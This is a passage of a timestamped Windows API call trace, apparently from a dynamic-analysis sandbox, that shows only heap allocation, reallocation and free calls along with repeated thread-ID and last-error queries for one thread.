dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.364] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1920, Size=0x120) returned 0x2c375e8 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375e8, Size=0x160) returned 0x33e7a88 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7a88, Size=0x1a8) returned 0x3028e60 [0076.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.368] GetCurrentThreadId () returned 0x9b0 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028e60 | out: hHeap=0x2ad0000) returned 1 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x90) returned 0x2ac0a40 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0a40 | out: hHeap=0x2ad0000) returned 1 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183940 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c00 [0076.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0076.368] GetCurrentThreadId () returned 0x9b0 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85490 [0076.368] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85490, Size=0x20) returned 0x3028238 [0076.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x43b) returned 0x3667a48 [0076.369] GetCurrentThreadId () returned 0x9b0 [0076.369] GetLastError () returned 0x0 [0076.369] GetCurrentThreadId () returned 0x9b0 [0076.369] GetLastError () returned 0x0 [0076.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0076.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85370 | out: hHeap=0x2ad0000) returned 1 [0076.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85250 | out: hHeap=0x2ad0000) returned 1 [0076.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85190 | out: hHeap=0x2ad0000) returned 1 [0076.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85148 | out: hHeap=0x2ad0000) returned 1 [0076.369] GetCurrentThreadId () returned 0x9b0 [0076.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85460 [0076.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.369] GetCurrentThreadId () returned 0x9b0 [0076.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.369] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361d598, Size=0x941) returned 0x3620798 [0076.369] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3620798, Size=0xf9a) returned 0x3620798 [0076.370] GetCurrentThreadId () returned 0x9b0 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.370] GetCurrentThreadId () returned 0x9b0 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.370] GetCurrentThreadId () returned 0x9b0 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.370] GetCurrentThreadId () returned 0x9b0 [0076.370] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85478, Size=0x10) returned 0x2c855b0 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85340 [0076.370] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c855e0, Size=0x10) returned 0x2c85538 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.370] GetCurrentThreadId () returned 0x9b0 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.370] GetCurrentThreadId () returned 0x9b0 [0076.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85520 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c854d8 [0076.371] GetCurrentThreadId () returned 0x9b0 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c852f8 [0076.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c854f0 [0076.371] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85550, Size=0x10) returned 0x2c85508 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c854c0 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.372] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85598 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85400 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85418 [0076.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.373] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85580, Size=0x10) returned 0x2c85430 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.374] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85430, Size=0x20) returned 0x3028558 [0076.375] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c855e0, Size=0x20) returned 0x30284e0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.375] GetCurrentThreadId () returned 0x9b0 [0076.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0076.376] GetCurrentThreadId () returned 0x9b0 [0076.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c853b8 [0076.376] GetCurrentThreadId () returned 0x9b0 [0076.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.376] GetCurrentThreadId () returned 0x9b0 [0076.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.376] GetCurrentThreadId () returned 0x9b0 [0076.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.376] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c853d0 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85418 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c854d8 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85508 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85598 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85520 [0076.377] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31839c0, Size=0x14) returned 0x3183ae0 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.377] GetCurrentThreadId () returned 0x9b0 [0076.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetLastError () returned 0x0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.378] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c853a0, Size=0x20) returned 0x30284e0 [0076.378] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c853b8, Size=0x20) returned 0x3028558 [0076.378] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x24) returned 0x2a20078 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.379] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] GetCurrentThreadId () returned 0x9b0 [0076.380] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b20, Size=0x10) returned 0x2c855b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c855b0, Size=0x20) returned 0x3028328 [0076.381] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85328, Size=0x20) returned 0x30281c0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.381] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x18) returned 0x3183960 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.382] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] 